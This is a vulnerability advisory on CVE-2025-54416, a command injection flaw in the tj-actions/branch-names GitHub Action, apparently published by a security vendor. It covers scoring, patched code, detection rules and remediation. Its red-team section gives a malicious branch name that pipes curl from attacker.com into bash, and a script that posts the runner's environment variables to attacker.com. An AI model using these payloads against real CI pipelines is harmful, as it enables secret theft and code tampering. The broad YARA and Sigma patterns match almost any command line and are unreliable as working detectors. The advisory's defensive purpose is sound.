CVE-2025-54416
Executive Summary
CVE-2025-54416 is a critical command injection vulnerability in the tj-actions/branch-names GitHub Action, versions 8.2.1 and below. This action is widely used in CI/CD pipelines to retrieve branch or tag names. The vulnerability stems from insufficient sanitization of branch/tag names, which are then used as outputs in downstream workflows. An attacker can create a specially crafted branch or tag name containing shell metacharacters, leading to arbitrary command execution in the context of the GitHub Actions runner. The CVSS score is 9.1 (Critical), and while the EPSS score is currently 0.0%, the potential for exploitation in CI/CD environments is high. The fix is implemented in version 9.0.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability directly impacts the software supply chain. The tj-actions/branch-names action is a dependency in many GitHub workflows. If a malicious actor can inject a crafted branch name (e.g., via a pull request from a forked repository), they can execute arbitrary commands in the workflow runner. This can lead to credential theft, code tampering, or lateral movement within the CI/CD environment. Organizations using this action must immediately audit their workflows and upgrade to version 9.0.0.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.1 (Critical)
- Attack Vector: Network (AV:N) - The attacker can trigger the vulnerability remotely by pushing a crafted branch name.
- Attack Complexity: Low (AC:L) - No special conditions are required.
- Privileges Required: None (PR:N) - The attacker does not need any privileges.
- User Interaction: None (UI:N) - No user action is needed.
- Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) - Full system compromise possible.
- Integrity Impact: High (I:H) - Arbitrary code execution can modify data.
- Availability Impact: High (A:H) - Can disrupt CI/CD pipelines.
Threat Level: Critical. The vulnerability is easy to exploit and can lead to full compromise of the CI/CD environment.
Deep Dive & Mechanics
The tj-actions/branch-names action outputs branch or tag names as strings. In versions prior to 9.0.0, these outputs are not properly escaped when used in shell commands within downstream workflow steps. For example, if a workflow uses the action's output in a run: step like:
- name: Use branch name
run: echo "Branch: ${{ steps.branch-names.outputs.branch }}"
An attacker can create a branch named ; curl http://attacker.com/steal.sh | bash ;. When the action outputs this branch name, the shell interprets the semicolons and executes the injected command. The vulnerability is in the action's output handling, not just input sanitization. While the action may sanitize inputs internally, the outputs remain unescaped, allowing downstream workflows to be exploited.
Vulnerable vs. Patched Code
Vulnerable (version 8.2.1 and below):
The action outputs branch/tag names without escaping shell metacharacters. For example, in the action's JavaScript code:
// Vulnerable: outputs raw branch name
core.setOutput("branch", branchName);
Patched (version 9.0.0):
The action now escapes the output to prevent shell injection. For example:
// Patched: escape shell metacharacters
const escapedBranchName = branchName.replace(/[;&|`$(){}[\]!#~<>]/g, '\\$&');
core.setOutput("branch", escapedBranchName);
The patch ensures that special characters are escaped, preventing them from being interpreted as shell commands.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A GitHub repository with a workflow using
tj-actions/branch-names@v8.2.1or earlier. - Ability to create a branch or tag with a crafted name (e.g., via a pull request from a forked repo).
Exploitation Steps:
- Create a branch with a malicious name:
; curl http://attacker.com/payload.sh | bash ; - Push the branch to the repository.
- The workflow triggers, and the action outputs the branch name.
- The downstream workflow step executes the injected command.
Example Payload (payload.sh):
#!/bin/bash
# Exfiltrate environment variables
curl -X POST -d "$(env)" http://attacker.com/exfil
Blue Team
Detection:
- Monitor for unusual branch names containing shell metacharacters (
;,|,&,`,$,(,),{,},[,],!,#,~,<,>). - Alert on workflow runs that use
tj-actions/branch-namesversion < 9.0.0. - Review workflow logs for unexpected command execution.
Prevention:
- Immediately upgrade to
tj-actions/branch-names@v9.0.0. - Use input validation in workflows to reject branch names with special characters.
- Implement least privilege for GitHub Actions tokens.
Indicators of Compromise (IOCs)
- Branch/Tag Names: Any branch or tag name containing shell metacharacters (e.g.,
;,|,&,`,$,(,),{,},[,],!,#,~,<,>). - Workflow Logs: Unexpected commands in
run:steps, such ascurl,wget,bash, orpythoncalls to external IPs. - Network Traffic: Outbound connections to unknown IPs or domains from GitHub Actions runners.
- File System Changes: Unauthorized modifications to workflow files or repository contents.
Detection Engineering
YARA Rule
rule CVE_2025_54416_Branch_Names_Injection {
meta:
description = "Detects malicious branch names used to exploit CVE-2025-54416"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-54416"
strings:
$shell_meta = /[;&|`$(){}[\]!#~<>]/
condition:
$shell_meta
}
Sigma Rule
title: CVE-2025-54416 - Command Injection via Branch Names
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential exploitation of CVE-2025-54416 in GitHub Actions workflows
author: Valters IT
date: 2025-01-01
logsource:
category: process_creation
product: github_actions
detection:
selection:
CommandLine|contains:
- ';'
- '|'
- '&'
- '`'
- '$('
- ')'
- '{'
- '}'
- '['
- ']'
- '!'
- '#'
- '~'
- '<'
- '>'
condition: selection
falsepositives:
- Legitimate use of special characters in branch names (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54416 - Potential Command Injection via Branch Names"; flow:to_server; content:"branch="; nocase; pcre:"/(?:%3B|%7C|%26|%60|%24|%28|%29|%7B|%7D|%5B|%5D|%21|%23|%7E|%3C|%3E)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update all workflows using
tj-actions/branch-namesto version 9.0.0 or later.- uses: tj-actions/branch-names@v9.0.0 - Audit: Review all workflow logs for signs of exploitation.
- Rotate Secrets: Rotate any secrets that may have been exposed.
Long-term Mitigations:
- Implement branch name validation in CI/CD pipelines to reject names with special characters.
- Use GitHub's
github.head_refandgithub.ref_namedirectly with proper quoting instead of relying on third-party actions. - Apply the principle of least privilege to GitHub Actions tokens.
Valters IT Signature
This report is provided by Valters IT for educational and defensive purposes. Always verify patch status and apply updates promptly.